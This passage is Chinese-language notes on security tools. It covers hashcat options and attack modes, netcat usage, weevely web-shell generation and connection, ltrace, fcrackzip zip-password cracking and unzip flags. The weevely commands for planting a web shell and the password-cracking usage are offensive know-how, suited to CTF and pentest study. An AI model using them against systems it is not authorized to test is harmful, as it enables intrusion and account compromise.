--increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程
--increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
--increment-max 密码最大长度,同上
--outfile-format 指定破解结果的输出格式id,默认是3
--username 忽略hash文件中的指定的用户名,在破解linux系统用户密码hash可能会用到
--remove 删除已被破解成功的hash
-r 使用自定义破解规则
攻击模式:
# | Mode
===+======
0 | Straight(字段破解)
1 | Combination(组合破解)
3 | Brute-force(掩码暴力破解)
6 | Hybrid Wordlist + Mask(字典+掩码破解)
7 | Hybrid Mask + Wordlist(掩码+字典破解)
输出格式
1 = hash[:salt]
2 = plain
3 = hash[:salt]:plain
4 = hex_plain
5 = hash[:salt]:hex_plain
6 = plain:hex_plain
7 = hash[:salt]:plain:hex_plain
8 = crackpos
9 = hash[:salt]:crackpos
10 = plain:crackpos
11 = hash[:salt]:plain:crackpos
12 = hex_plain:crackpos
13 = hash[:salt]:hex_plain:crackpos
14 = plain:hex_plain:crackpos
15 = hash[:salt]:plain:hex_plain:crackpos
更多看这里:https://blog.csdn.net/SHIGUANGTUJING/article/details/90074614
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
nc命令的作用
常用参数
-l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用UDP协议,默认为TCP
-v 输出交互或出错信息,新手调试时尤为有用
-w 超时秒数,后面跟数字
常见操作
nc -l 9999
# 开启一个本地9999的TCP协议端口,由客户端主动发起连接,一旦连接必须由服务端发起关闭
nc -vw 2 192.168.21.248 11111
#通过nc去访问192.168.21.248主机的11111端口,确认是否存活;可不加参数
nc -ul 9999
# 开启一个本地9999的UDP协议端口,客户端不需要由服务端主动发起关闭
nc 192.168.21.248 9999 < test
# 通过192.168.21.248的9999TCP端口发送数据文件
nc -l 9999 > zabbix.file
# 开启一个本地9999的TCP端口,用来接收文件内容
测试网速
A机器操作如下:
yum install -y dstat # A机器安装dstat命令
nc -l 9999 > /dev/null
B机器开启数据传输:nc 10.0.1.161 9999 file
栗子:nc -l 10086 >zabbix.rpm
步骤2,在A机器上往B机器的10086端口发送数据,把下面rpm包发送过去
nc 192.168.0.2 10086 < zabbix.rpm
B机器接收完毕,它会自动退出监听,文件大小和A机器一样,md5值也一样
分五个板块:weevely生成shell文件、weevely连接后台、weevely信息探测、weevely文件操作、weevely审计
weevely generate 密码 路径 文件名
weevely shell文件地址 密码
参考文章:https://www.cnblogs.com/forforever/p/12674656.html
kalli不自带,使用命令:apt install ltrace
进行安装
ltrace命令 是用来跟踪进程调用库函数的情况。
语法
ltrace [option ...] [command [arg ...]]
选项
-a 对齐具体某个列的返回值。
-c 计算时间和调用,并在程序退出时打印摘要。
-C 解码低级别名称(内核级)为用户级名称。
-d 打印调试信息。
-e 改变跟踪的事件。
-f 跟踪子进程。
-h 打印帮助信息。
-i 打印指令指针,当库调用时。
-l 只打印某个库中的调用。
-L 不打印库调用。
-n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。
-o, --output=file 把输出定向到文件。
-p PID 附着在值为PID的进程号上进行ltrace。
-r 打印相对时间戳。
-s STRLEN 设置打印的字符串最大长度。
-S 显示系统调用。
-t, -tt, -ttt 打印绝对时间戳。
-T 输出每个调用过程的时间开销。
-u USERNAME 使用某个用户id或组ID来运行命令。
-V, --version 打印版本信息,然后退出。
-x NAME treat the global NAME like a library subroutine.(求翻译)
常见用法:
还有两个没用到过的用法
[guest@localhost tmp]$ ltrace -T ./a.out
__libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972>
printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 <0.000155>
printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.000153>
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++
[guest@localhost tmp]$ ltrace -S ./a.out
SYS_brk(NULL) = 0x9e20000
SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0
SYS_open("/etc/ld.so.preload", 0, 02) = 3
SYS_fstat64(3, 0xbfbd7a94, 0xa4afc0, -1, 3) = 0
SYS_mmap2(0, 17, 3, 2, 3) = 0xb7f2a000
SYS_close(3) = 0
SYS_open("/lib/libcwait.so", 0, 00) = 3
SYS_read(3, "\177ELF\001\001\001", 512) = 512
SYS_fstat64(3, 0xbfbd76fc, 0xa4afc0, 4, 0xa4b658) = 0
SYS_mmap2(0, 4096, 3, 34, -1) = 0xb7f29000
SYS_mmap2(0, 5544, 5, 2050, 3) = 0x423000
SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000
.............省去若干行
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
-c 指定字符集,字符集 格式只能为 -c 'aA1!:'
a 表示小写字母[a-z]
A 表示大写字母[A-Z]
1 表示阿拉伯数字[0-9]
! 感叹号表示特殊字符[!:$%&/()=?{[]}+*~#]
: 表示包含冒号之后的字符(不能为二进制的空字符),例如 a1:$% 表示 字符集包含小写字母、数字、$字符和%百分号
eg:fcrackzip -D -p base64_answer.txt -u lmao.zip
注释: -D 表示要使用字典破解;-p 表示要使用哪个字典破解;-u表示要破解的zip文件
unzip命令
unzip命令用于解压缩由zip命令压缩的“.zip”压缩包。
-c 将解压缩的结果显示到屏幕上,并对字符做适当的转换;
-f 更新现有的文件;
-l 显示压缩文件内所包含的文件;
-p 与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换;
-t 检查压缩文件是否正确;
-u 与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中;
-v 执行时显示详细的信息;
-z 仅显示压缩文件的备注文字;
-a 对文本文件进行必要的字符转换;
-b 不要对文本文件进行字符转换;
-C 压缩文件中的文件名称区分大小写;
-j 不处理压缩文件中原有的目录路径;
-L 将压缩文件中的全部文件名改为小写;
-M 将输出结果送到more程序处理;
-n 解压缩时不要覆盖原有的文件;
-o 不必先询问用户,unzip执行后覆盖原有的文件;
-P<密码> 使用zip的密码选项;
-q 执行时不显示任何信息;
-s 将文件名中的空白字符转换为底线字符;
-V 保留VMS的文件版本信息;
-X 解压缩时同时回存文件原来的UID/GID;
-d<目录> 指定文件解压缩后所要存储的目录;
-x<文件> 指定不要处理.zip压缩文件中的哪些文件;
-Z unzip-Z等于执行zipinfo指令。